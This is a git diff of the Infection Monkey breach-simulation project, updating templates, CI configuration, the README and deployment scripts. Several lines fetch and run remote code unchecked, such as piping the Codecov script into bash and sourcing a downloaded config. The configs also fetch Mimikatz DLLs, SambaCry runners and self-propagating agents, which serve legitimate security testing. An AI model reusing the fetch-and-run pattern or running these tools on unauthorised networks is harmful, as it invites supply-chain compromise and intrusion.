diff --git a/.github/ISSUE_TEMPLATE/Bug_report.md b/.github/ISSUE_TEMPLATE/Bug_report.md index 36fcff7c3..ac4bcbcd3 100644 --- a/.github/ISSUE_TEMPLATE/Bug_report.md +++ b/.github/ISSUE_TEMPLATE/Bug_report.md @@ -1,23 +1,29 @@ --- -name: Bug report +name: 🐛 Bug report about: Create a report to help us fix things! --- -**Describe the bug** +<!-- +Thank you for reporting a bug to make Infection Monkey better. + +Please fill in as much of the template below as you're able. +--> + +## Describe the bug A clear and concise description of what the bug is. -**To Reproduce** +## To Reproduce Steps to reproduce the behavior: 1. Configure the Monkey with X settings 2. Run the monkey on specific machine 3. See error -**Expected behavior** +## Expected behavior A description of what you expected to happen. -**Screenshots** +## Screenshots If applicable, add screenshots to help explain your problem. -**Machine version(please complete the following information):** +## Machine version (please complete the following information): - OS: Windows or Linux diff --git a/.github/ISSUE_TEMPLATE/Feature_request.md b/.github/ISSUE_TEMPLATE/Feature_request.md new file mode 100644 index 000000000..a59c5f624 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Feature_request.md @@ -0,0 +1,20 @@ +--- +name: "\U0001F680 Feature request" +about: Suggest an idea for this project + +--- + +<!-- +Thank you for suggesting an idea to make Infection Monkey better. + +Please fill in as much of the template below as you're able. +--> + +**Is your feature request related to a problem? Please describe.** +Please describe the problem you are trying to solve. + +**Describe the solution you'd like** +Please describe the desired behavior. + +**Describe alternatives you've considered** +Please describe alternative solutions or features you have considered. \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 000000000..be6fc881d --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: false +contact_links: + - name: Slack Channel + url: https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU + about: Our community Slack channel - you can ask questions or suggest things here. + - name: FAQs + url: https://www.guardicore.com/infectionmonkey/faq/ + about: Frequently Asked Questions - if you have a question, see if we've already answered it! diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 00c0f3c86..ebee094c8 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,12 +1,15 @@ -# Feature / Fixes -> Changes/Fixes the following feature +# What is this? +Fixes #`put issue number here`. +Add any further explanations here. + +## Checklist * [ ] Have you added an explanation of what your changes do and why you'd like to include them? * [ ] Have you successfully tested your changes locally? +* [ ] Is the TravisCI build passing? -* Example screenshot/log transcript of the feature working +## Proof that it works +If applicable, add screenshots or log transcripts of the feature working -## Changes - - - - - - +## Changes +Are the commit messages enough? If not, elaborate. diff --git a/.github/attack-report.png b/.github/attack-report.png new file mode 100644 index 000000000..5ba45e9fb Binary files /dev/null and b/.github/attack-report.png differ diff --git a/.github/map-full.png b/.github/map-full.png index faa1b7832..92902a221 100644 Binary files a/.github/map-full.png and b/.github/map-full.png differ diff --git a/.github/security-report.png b/.github/security-report.png new file mode 100644 index 000000000..54a30b13f Binary files /dev/null and b/.github/security-report.png differ diff --git a/.github/zero-trust-report.png b/.github/zero-trust-report.png new file mode 100644 index 000000000..18a0ff703 Binary files /dev/null and b/.github/zero-trust-report.png differ diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..63b69ebab --- /dev/null +++ b/.gitmodules @@ -0,0 +1,4 @@ + +[submodule "monkey/monkey_island/cc/services/attack/attack_data"] + path = monkey/monkey_island/cc/services/attack/attack_data + url = https://github.com/guardicore/cti diff --git a/.travis.yml b/.travis.yml index b14482939..4400f7e9e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,18 +1,71 @@ +# Infection Monkey travis.yml. See Travis documentation for information about this file structure. + group: travis_latest + language: python + cache: pip + python: - - 2.7 +- 3.7 + +os: linux + install: - #- pip install -r requirements.txt - - pip install flake8 # pytest # add another testing frameworks later +# Python +- pip install -r monkey/monkey_island/requirements.txt # for unit tests +- pip install flake8 pytest dlint # for next stages +- pip install coverage # for code coverage +- pip install -r monkey/infection_monkey/requirements.txt # for unit tests + before_script: - # stop the build if there are Python syntax errors or undefined names - - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics +# Set the server config to `testing`. This is required for for the UTs to pass. +- python monkey/monkey_island/cc/set_server_config.py testing + script: - - true # pytest --capture=sys # add other tests here +# Check Python code +## Check syntax errors and fail the build if any are found. +- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics + +## Warn about linter issues. +### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. +### --count will print the total number of errors. +### --statistics Count the number of occurrences of each error/warning code and print a report. +### The output is redirected to a file. +- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics > flake8_warnings.txt +## Display the linter issues +- cat flake8_warnings.txt +## Make sure that we haven't increased the amount of warnings. +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190 +- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi + +## Run unit tests +- cd monkey # This is our source dir +- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. + +## Calculate Code Coverage +- coverage run -m pytest + +# Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. +- cd monkey_island/cc/ui +- npm i +- npm i -g eslint +- cd - +- cd monkey_island/cc/ui +- eslint ./src --quiet +- JS_WARNINGS_AMOUNT_UPPER_LIMIT=37 +- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT + +after_success: + # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information + - bash <(curl -s https://codecov.io/bash) + notifications: - on_success: change - on_failure: change # `always` will be the setting once code changes slow down + slack: # Notify to slack + rooms: + - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci # room: #ci + on_success: change + on_failure: always + email: + on_success: change + on_failure: always diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 035eb0124..08a78a815 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,4 +1,4 @@ -# Hi there +# Hi there 🐵 Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! @@ -10,8 +10,13 @@ to reproduce. While we'll try to help anyway, focusing us will help us help you If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). +## Submitting Issues +* **Do** write a detailed description of your bug and use a descriptive title. +* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. -## Submitting code +You can look at [this issue](https://github.com/guardicore/monkey/issues/430) for an example. + +## Submitting Code The following is a *short* list of recommendations. PRs that don't match these criteria won't be closed but it'll be harder to merge the changes into the code. @@ -24,18 +29,23 @@ The following is a *short* list of recommendations. PRs that don't match these c Also, please submit PRs to the `develop` branch. -#### Unit tests +#### Unit Tests **Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. Please try to read some of the existing unit testing code, so you can see some examples. -#### Branch naming scheme +#### Branches Naming Scheme **Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, `400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. -## Issues -* **Do** write a detailed description of your bug and use a descriptive title. -* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. +#### Continuous Integration +We use [TravisCI](https://travis-ci.com/guardicore/monkey) for automatically checking the correctness and quality of submitted +pull requests. If your build fails, it might be because of one of the following reasons: +* Syntax errors. +* Failing Unit Tests. +* Too many linter warnings. -Thank you for reading this before opening an issue or a PR, you've already doing good! +In any of these cases, you can look for the cause of the failure in the _job log_ in your TravisCI build. + +#### Thank you for reading this before opening an issue or a PR, you're already doing good! diff --git a/README.md b/README.md index 67b5b2e8b..bf9768459 100644 --- a/README.md +++ b/README.md @@ -1,25 +1,40 @@ -Infection Monkey -==================== +# Infection Monkey +[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases) -### Data center Security Testing Tool ------------------------- +[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) +[![codecov](https://codecov.io/gh/guardicore/monkey/branch/develop/graph/badge.svg)](https://codecov.io/gh/guardicore/monkey) + +![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey) +![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey) + +## Data center Security Testing Tool Welcome to the Infection Monkey! The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server. -<img src=".github/map-full.png" > - -<img src=".github/Security-overview.png" width="800" height="500"> - The Infection Monkey is comprised of two parts: -* Monkey - A tool which infects other machines and propagates to them -* Monkey Island - A dedicated server to control and visualize the Infection Monkey's progress inside the data center -To read more about the Monkey, visit http://infectionmonkey.com +* **Monkey** - A tool which infects other machines and propagates to them. +* **Monkey Island** - A dedicated server to control and visualize the Infection Monkey's progress inside the data center. -Main Features ---------------- +To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). + +## Screenshots + +### Map +<img src=".github/map-full.png" width="800" height="600"> + +### Security report +<img src=".github/security-report.png" width="800" height="500"> + +### Zero trust report +<img src=".github/zero-trust-report.png" width="800" height="500"> + +### ATT&CK report +<img src=".github/attack-report.png" width="900" height="500"> + +## Main Features The Infection Monkey uses the following techniques and exploits to propagate to other machines. @@ -35,23 +50,41 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Conficker * SambaCry * Elastic Search (CVE-2015-1427) + * Weblogic server + * and more -Setup -------------------------------- +## Setup Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). - -Building the Monkey from source -------------------------------- +## Building the Monkey from source To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder. If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) -and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). +and follow the instructions at the readme files under [infection_monkey](monkey/infection_monkey) and [monkey_island](monkey/monkey_island). +### Build status +| Branch | Status | +| ------ | :----: | +| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) | +| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) | + +## Tests + +### Unit Tests + +In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory. + +To get a coverage report, first make sure the `coverage` package is installed using `pip install coverage`. Run the command +`coverage run -m unittest` in the `monkey` directory and then `coverage html`. The coverage report can be found in +`htmlcov.index`. + +### Blackbox tests + +In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`. + +# License -License -======= Copyright (c) Guardicore Ltd See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 10027edce..16b150852 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -1,24 +1,55 @@ -# Files used to deploy development version of infection monkey -## Windows +# Deployment guide for a development environemnt -Before running the script you must have git installed.<br> -Cd to scripts directory and use the scripts.<br> -First argument is an empty directory (script can create one) and second is branch you want to clone. -Example usages:<br> -./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br> -./run_script.bat "C:\test" (Sets up monkey in C:\test)<br> -powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br> -./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) -Don't forget to add python to PATH or do so while installing it via this script.<br> +This guide is for you if you wish to develop for Infection Monkey. If you only want to use it, please download the relevant version from [our website](https://infectionmonkey.com). -## Linux +## Prerequisites -You must have root permissions, but don't run the script as root.<br> -Launch deploy_linux.sh from scripts directory.<br> -First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default). -Choose a directory where you have all the relevant permissions, for e.g. /home/your_username -Example usages:<br> -./deploy_linux.sh (deploys under ./infection_monkey)<br> -./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br> -./deploy_linux.sh "" "master" (deploys master branch in script directory)<br> -./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br> +Before running the script you must have `git` installed. If you don't have `git` installed, please follow [this guide](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git). + +## Deploy on Windows + +Run the following command in powershell: + +```powershell +Invoke-WebRequest https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/deploy_windows.ps1 -OutFile deploy_windows.ps1 +``` + +This will download our deploy script. It's a good idea to read it quickly before executing it! + +After downloading that script, execute it in `powershell`. + +The first argument is an empty directory (script can create one). The second argument is which branch you want to clone - by default, the script will check out the `develop` branch. Some example usages: + +- `.\deploy_windows.ps1` (Sets up monkey in current directory under .\infection_monkey) +- `.\deploy_windows.ps1 -monkey_home "C:\test"` (Sets up monkey in C:\test) +- `.\deploy_windows.ps1 -branch "master"` (Sets up master branch instead of develop in current dir) + +You may also pass in an optional `agents=$false` parameter to disable downloading the latest agent binaries. + +### Troubleshooting + +- If you run into Execution Policy warnings, you can disable them by prefixing the following snippet: `powershell -ExecutionPolicy ByPass -Command "[original command here]"` +- Don't forget to add python to PATH or do so while installing it via this script. + +## Deploy on Linux + +Linux deployment script is meant for Ubuntu 16 and Ubuntu 18 machines. + +Your user must have root permissions; however, don't run the script as root! + +```sh +wget https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/deploy_linux.sh +``` + +This will download our deploy script. It's a good idea to read it quickly before executing it! + +Then execute the resulting script with your shell. + +After downloading that script, execute it in a shell. The first argument should be an absolute path of an empty directory (the script will create one if doesn't exist, default is ./infection_monkey). The second parameter is the branch you want to clone (develop by default). Some example usages: + +- `./deploy_linux.sh` (deploys under ./infection_monkey) +- `./deploy_linux.sh "/home/test/monkey"` (deploys under /home/test/monkey) +- `./deploy_linux.sh "" "master"` (deploys master branch in script directory) +- `./deploy_linux.sh "/home/user/new" "master"` (if directory "new" is not found creates it and clones master branch into it) + +You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries. \ No newline at end of file diff --git a/deployment_scripts/config b/deployment_scripts/config index bb10ed105..5607d37fd 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -5,15 +5,17 @@ MONKEY_FOLDER_NAME="infection_monkey" MONKEY_GIT_URL="https://github.com/guardicore/monkey" # Monkey binaries -LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/monkey-linux-32" LINUX_32_BINARY_NAME="monkey-linux-32" -LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/monkey-linux-64" LINUX_64_BINARY_NAME="monkey-linux-64" -WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/monkey-windows-32.exe" WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" -WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/monkey-windows-64.exe" WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" -# Mongo url's -MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz" -MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz" +# Other binaries for monkey +TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/traceroute64" +TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/traceroute32" +SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/sc_monkey_runner64.so" +SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/v1.7.0/sc_monkey_runner32.so" \ No newline at end of file diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 07be64612..b18b7c63c 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -2,47 +2,48 @@ $MONKEY_FOLDER_NAME = "infection_monkey" # Url of public git repository that contains monkey's source code $MONKEY_GIT_URL = "https://github.com/guardicore/monkey" +$MONKEY_RELEASES_URL = $MONKEY_GIT_URL + "/releases" +$MONKEY_LATEST_VERSION = "v1.7.0" +$MONKEY_DOWNLOAD_URL = $MONKEY_RELEASES_URL + "/download/" + $MONKEY_LATEST_VERSION + "/" # Link to the latest python download or install it manually -$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi" +$PYTHON_URL = "https://www.python.org/ftp/python/3.7.6/python-3.7.6-amd64.exe" + # Monkey binaries -$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32" $LINUX_32_BINARY_PATH = "monkey-linux-32" -$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64" $LINUX_64_BINARY_PATH = "monkey-linux-64" -$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe" $WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" -$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe" $WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" -$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so" -$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so" -$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so" +$SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so" +$SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so" +$SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so" $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" +$TRACEROUTE_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute64" +$TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32" # Other directories and paths ( most likely you dont need to configure) -$MONKEY_ISLAND_DIR = "\monkey\monkey_island" -$MONKEY_DIR = "\monkey\infection_monkey" -$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner" -$PYTHON_DLL = "C:\Windows\System32\python27.dll" -$MK32_DLL = "mk32.dll" -$MK64_DLL = "mk64.dll" -$TEMP_PYTHON_INSTALLER = ".\python.msi" +$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island" +$MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin" +$MK32_DLL = "mk32.zip" +$MK64_DLL = "mk64.zip" +$TEMP_PYTHON_INSTALLER = ".\python.exe" $TEMP_MONGODB_ZIP = ".\mongodb.zip" $TEMP_OPEN_SSL_ZIP = ".\openssl.zip" $TEMP_CPP_INSTALLER = "cpp.exe" $TEMP_NPM_INSTALLER = "node.msi" -$TEMP_PYWIN32_INSTALLER = "pywin32.exe" $TEMP_UPX_ZIP = "upx.zip" -$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi" -$UPX_FOLDER = "upx394w" +$UPX_FOLDER = "upx-3.96-win64" # Other url's -$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi" -$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip" -$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip" +$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2012plus-v4.2-latest.zip" +$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" -$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi" -$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe" -$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip" -$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll" -$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll" +$NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" +$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip" +$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip" +$UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh old mode 100644 new mode 100755 index 4df8ba114..d13478018 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -1,139 +1,223 @@ #!/bin/bash -source config + +exists() { + command -v "$1" >/dev/null 2>&1 +} + +is_root() { + return $(id -u) +} + +has_sudo() { + # 0 true, 1 false + timeout 1 sudo id && return 0 || return 1 +} + +handle_error() { + echo "Fix the errors above and rerun the script" + exit 1 +} + +log_message() { + echo -e "\n\n" + echo -e "DEPLOYMENT SCRIPT: $1" +} + +config_branch=${2:-"develop"} +config_url="https://raw.githubusercontent.com/guardicore/monkey/${config_branch}/deployment_scripts/config" + +if (! exists curl) && (! exists wget); then + log_message 'Your system does not have curl or wget, exiting' + exit 1 +fi + +file=$(mktemp) +# shellcheck disable=SC2086 +if exists wget; then + # shellcheck disable=SC2086 + wget --output-document=$file "$config_url" +else + # shellcheck disable=SC2086 + curl -s -o $file "$config_url" +fi + +log_message "downloaded configuration" +# shellcheck source=deployment_scripts/config +# shellcheck disable=SC2086 +source $file +log_message "loaded configuration" +# shellcheck disable=SC2086 +# rm $file # Setup monkey either in dir required or current dir -monkey_home=${1:-`pwd`} -if [[ $monkey_home == `pwd` ]]; then - monkey_home="$monkey_home/$MONKEY_FOLDER_NAME" +monkey_home=${1:-$(pwd)} +if [[ $monkey_home == $(pwd) ]]; then + monkey_home="$monkey_home/$MONKEY_FOLDER_NAME" fi # We can set main paths after we know the home dir ISLAND_PATH="$monkey_home/monkey/monkey_island" -MONKEY_COMMON_PATH="$monkey_home/monkey/common/" MONGO_PATH="$ISLAND_PATH/bin/mongodb" -MONGO_BIN_PATH="$MONGO_PATH/bin" -ISLAND_DB_PATH="$ISLAND_PATH/db" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" +INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey" +MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin" -handle_error () { - echo "Fix the errors above and rerun the script" - exit 1 -} +if is_root; then + log_message "Please don't run this script as root" + exit 1 +fi -log_message () { - echo -e "\n\n-------------------------------------------" - echo -e "DEPLOYMENT SCRIPT: $1" - echo -e "-------------------------------------------\n" -} - -sudo -v -if [[ $? != 0 ]]; then - echo "You need root permissions for some of this script operations. Quiting." - exit 1 +HAS_SUDO=$(has_sudo) +if [[ ! $HAS_SUDO ]]; then + log_message "You need root permissions for some of this script operations. Quiting." + exit 1 fi if [[ ! -d ${monkey_home} ]]; then - mkdir -p ${monkey_home} + mkdir -p "${monkey_home}" fi -git --version &>/dev/null -git_available=$? -if [[ ${git_available} != 0 ]]; then - echo "Please install git and re-run this script" - exit 1 +if ! exists git; then + log_message "Please install git and re-run this script" + exit 1 fi log_message "Cloning files from git" branch=${2:-"develop"} if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned - git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error - chmod 774 -R ${monkey_home} + git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error + chmod 774 -R "${monkey_home}" fi # Create folders log_message "Creating island dirs under $ISLAND_PATH" -mkdir -p ${MONGO_BIN_PATH} -mkdir -p ${ISLAND_DB_PATH} -mkdir -p ${ISLAND_BINARIES_PATH} || handle_error +mkdir -p "${MONGO_PATH}" || handle_error +mkdir -p "${ISLAND_BINARIES_PATH}" || handle_error -python_version=`python --version 2>&1` -if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then - echo "Python 2.7 is not found or is not a default interpreter for 'python' command..." - exit 1 +# Detecting command that calls python 3.7 +python_cmd="" +if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python" +fi +if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python37" +fi +if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python3.7" fi -log_message "Updating package list" -sudo apt-get update +if [[ ${python_cmd} == "" ]]; then + log_message "Python 3.7 command not found. Installing python 3.7." + sudo add-apt-repository ppa:deadsnakes/ppa + sudo apt-get update + sudo apt install python3.7 python3.7-dev + log_message "Python 3.7 is now available with command 'python3.7'." + python_cmd="python3.7" +fi -log_message "Installing pip" -sudo apt-get install python-pip +log_message "Installing build-essential" +sudo apt install build-essential + +log_message "Installing or updating pip" +# shellcheck disable=SC2086 +pip_url=https://bootstrap.pypa.io/get-pip.py +if exists wget; then + wget --output-document=get-pip.py $pip_url +else + curl $pip_url -o get-pip.py +fi +${python_cmd} get-pip.py +rm get-pip.py log_message "Installing island requirements" -requirements="$ISLAND_PATH/requirements.txt" -python -m pip install --user -r ${requirements} || handle_error +requirements_island="$ISLAND_PATH/requirements.txt" +${python_cmd} -m pip install -r "${requirements_island}" --user --upgrade || handle_error +log_message "Installing monkey requirements" +sudo apt-get install libffi-dev upx libssl-dev libc++1 +requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" +${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error + + +agents=${3:-true} # Download binaries -log_message "Downloading binaries" -wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} -wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} -wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} -wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} +if [ "$agents" = true ] ; then + log_message "Downloading binaries" + if exists wget; then + wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} + wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} + wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} + wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} + else + curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL} + curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL} + curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL} + curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL} + fi +fi + # Allow them to be executed chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" - -# Get machine type/kernel version -kernel=`uname -m` -linux_dist=`lsb_release -a 2> /dev/null` - # If a user haven't installed mongo manually check if we can install it with our script -log_message "Installing MongoDB" 